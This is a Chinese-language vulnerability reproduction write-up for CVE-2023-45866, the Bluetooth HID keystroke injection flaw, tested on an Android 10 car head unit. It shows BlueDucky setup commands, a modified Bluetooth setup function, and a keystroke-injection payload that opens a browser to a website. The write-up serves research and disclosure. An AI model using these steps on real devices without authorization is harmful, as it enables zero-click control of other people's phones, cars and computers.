0x00前言
漏洞描述:BlueZ 中的蓝牙 HID 主机可能允许未经身份验证的外围设备 HID 设备发起并建立加密连接,并接收 HID 键盘报告,从而可能允许在中央设备未进行任何用户交互以授权此类访问的情况下注入 HID 消息。
什么是HID?
HID(Human Interface Device)就是常见的人机交互设备,最典型的例子是键盘和鼠标。
前期准备:UD100和android10车机


0x01信息收集
已知的受该漏洞影响版本:
| Android | 4.2, 5, 6, 7, 8, 9, 10,11, 12, 13, 14 | CVE-2023-45866 |
| iOS | 16,17 | CVE-2023-45866 |
| Linux (BlueZ) | Affected Distros | CVE-2023-45866 |
| macOS | 12, 13,14 | CVE-2023-45866 |
| Windows | 10, 11, Server 2022 | CVE-2024-21306 |
本次测试使用的车机版本是Android 10
BlueDucky的作用:把蓝牙发射器(UD100)发射的蓝牙信号伪装成HID设备,向附近的目标机(Android10车机)发送按键序列(打开浏览器、输入命令、粘贴脚本等)。
BlueDucky安装:
`
sudo apt-get update
sudo apt-get -y upgrade
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev
git gcc python3-pip python3-setuptools
python3-pydbus
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
`
或者在github上进行下载
https://github.com/pentestfunctions/BlueDucky
0x02漏洞分析
在某些系统版本中,主机在处理 HID设备时没有强制进行身份验证或配对检查,例如验证设备是否已绑定或检查 VID/PID。因此,我可以用蓝牙发射器( UD100)发射的蓝牙信号伪装成 HID 设备并发起连接请求;主机在未确认该设备为已配对/受信任的前提下便建立了 HID 信道。一旦 HID 通道建立成功,攻击设备就可以发送 Input Report(按键事件),系统会将其当作合法键盘输入处理,从而导致零点击代码执行漏洞。
BlueZ 的基本概念:
BlueZ 是Linux 系统上用于蓝牙通信的协议栈,它为操作系统提供了底层的蓝牙支持,使得Linux 系统上的蓝牙功能(如连接、数据传输等)能够正常工作。 它主要通过D-Bus 接口而非传统的头文件来提供API,应用程序通过D-Bus 与BlueZ 进行交互,以实现蓝牙功能。
D-Bus的基本概念:
D-Bus是一个进程间远程通讯机制,可以让多个不同的进程在同一台电脑上通信。D-Bus还可以简化通信网络。

无D-Bus

存在D-Bus时
0x03漏洞复现
复现的大体流程图如下
[启动车机]
|
[插入 UD100 并确认连接]
|
[扫描蓝牙设备]
|
[运行 BlueDucky.py]
|
[检查蓝牙服务状态]
|
[分析/修改脚本蓝牙模块]
|
[进入 bluetoothctl 查看适配器状态]
|
[scan on 扫描附近设备]
|
[重新运行 BlueDucky.py(另一个终端)]
|
[执行 payload]
|
[实现零点击代码执行漏洞 ]
启动车机

插入UD100,确认连接情况
hciconfig

然后扫描车机的蓝牙是否存在
sudo hcitool scan

扫到了,接下来进行漏洞的复现
sudo python3 BlueDucky.py

这里运行blueducky.py,报错了,运行之前我们是检查了UD100的连接情况的。会不会是蓝牙服务没起来?
下图是蓝牙服务未运行的状态。
sudo systemctl status bluetooth

那么就可以输入命令来开启
sudo systemctl start bluetooth
看一下bluetooth服务的运行状态,这个才是运行的状态

确认了bluetooth服务是运行状态。这里还是会报错,猜测会不会是BlueDucky.py蓝牙模块那里有点问题,我们来分析一下脚本中蓝牙的模块。

脚本中蓝牙模块的分析
重启蓝牙 → 注册 HID Profile → 初始化并启用蓝牙适配器 → 设置名称和类型 → 返回可用对象。
def setup_bluetooth(target_address, adapter_id):
restart_bluetooth_daemon()
profile_proc = Process(target=register_hid_profile, args=(adapter_id, target_address))
profile_proc.start()
child_processes.append(profile_proc)
adapter = Adapter(adapter_id)
adapter.set_property("name", "Robot POC")
adapter.set_property("class", 0x002540)
adapter.power(True)
return adapter
下面看一下我修改后的脚本:
def setup_bluetooth(target_address, adapter_id):
restart_bluetooth_daemon()
# 等待 BlueZ 在 DBus 中注册 hci 对象
bus = SystemBus()
adapter_path = f"/org/bluez/{adapter_id}"
max_wait = 20 # 最多 10 秒
waited = 0
while waited < max_wait:
try:
bus.get("org.bluez", adapter_path)
log.info(f"Adapter {adapter_id} is available on DBus.")
break
except Exception:
waited += 1
log.debug(f"Waiting for adapter {adapter_id} to appear on DBus... ({waited}/{max_wait})")
time.sleep(0.5)
else:
log.error(f"Adapter {adapter_id} did not appear on DBus after {max_wait * 0.5} seconds.")
raise ConnectionFailureException("Adapter not found after restart")
# ===== 新增:等待 hci0 进入 UP 状态 =====
for attempt in range(20): # 最多等待 10 秒
result = subprocess.run(
["hciconfig", adapter_id],
capture_output=True,
text=True
)
if "UP RUNNING" in result.stdout:
log.info(f"Adapter {adapter_id} is UP and running.")
break
else:
log.debug(f"Adapter {adapter_id} still DOWN, bringing it UP... (attempt {attempt+1})")
subprocess.run(["sudo", "hciconfig", adapter_id, "up"])
time.sleep(0.5)
else:
log.error(f"Adapter {adapter_id} failed to reach UP state after retries.")
raise ConnectionFailureException("Bluetooth adapter did not start properly")
profile_proc = Process(target=register_hid_profile, args=(adapter_id, target_address))
profile_proc.start()
child_processes.append(profile_proc)
adapter = Adapter(adapter_id)
adapter.set_property("name", "Robot POC")
adapter.set_property("class", 0x002540)
adapter.power(True)
return adapter
这里修改了脚本,增加了等待时间,增加了日志输出,增加了容错。修改脚本后,继续运行重新运行。还是出现了错误。

bluetoothctl 是 Linux 系统中用于管理蓝牙设备的交互式命令行工具。接下来我使用bluetoothctl进行检测。输入下面命令启动工具。
bluetoothctl
我这里使用show命令来查看UD100这个蓝牙发射器的详细状态与信息能力。蓝牙发射器是启动的状态,可以正常工作。
show#查看UD100详细信息

这里前面出现了[NEW]说明系统检测到了一个从未见过的新蓝牙设备
使用scan on命令来扫描附件的蓝牙设备
scan on

然后再开了一个终端,运行BlueDucky,能成功运行,找到了之前失败的原因了,设备没识别到!

这里是输入MAC地址

然后输入想要执行的payload
REM Opens a private browser to www.iotsec-zone.com
DELAY 200
ESCAPE
#延迟0.2ms,按一次esc键
GUI d #GUI对应windows中的win键,这个是win+d,最小化
ALT ESCAPE #按顺序切换窗口
GUI b
DELAY 700
REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N
PRIVATE_BROWSER #这是定义了一个宏,表述CTRL+SHIFT+N,开启一个新窗口,而且是隐身状态(无痕模式)
DELAY 700
CTRL l #聚焦到输入框
DELAY 300
STRING www.iotsec-zone.com #输入www.iotsec-zone.com
DELAY 300
ENTER #回车
DELAY 300

我全程与车机无任何接触。使用 PoC 配合蓝牙发射器 UD100 成功模拟了 HID设备的输入,目标车机在未进行配对或身份认证的情况下接收并执行了该输入,最终触发了零接触代码执行并自动跳转至目标网页。
0x04总结
在我对漏洞进行复现的过程中,我发现部分系统版本的主机在处理 HID类蓝牙设备时,没有对连接设备进行强制认证或配对校验,比如没有验证设备是否已经绑定,或者检查设备的 VID/PID 信息。
这些系统普遍使用BlueZ作为蓝牙协议栈核心,由后台守护进程bluetoothd管理蓝牙连接,并通过D-Bus 接口向上层程序暴露蓝牙适配器、设备以及配置文件等对象。
在我的测试中,我发现 BlueZ 的输入服务并不会在 D-Bus 层或 Profile 层执行严格的配对/授权检查。也就是说,当我使用蓝牙发射器( UD100)发射蓝牙信号伪装成一个 HID 设备发起连接时,主机并没有验证该设备是否为已配对或受信任的设备,而是直接通过 BlueZ 建立了 HID 信道。
一旦 HID 的中断通道建立成功,我发送的 HID 输入报文就会被 BlueZ 直接转发到系统输入子系统中。系统会把这些数据当作来自真实键盘的输入事件,从而实现了零交互的按键注入。这种情况非常危险,因为攻击者可以在无需任何用户操作的情况下,直接向主机输入命令或触发系统行为,造成潜在的远程代码执行风险。
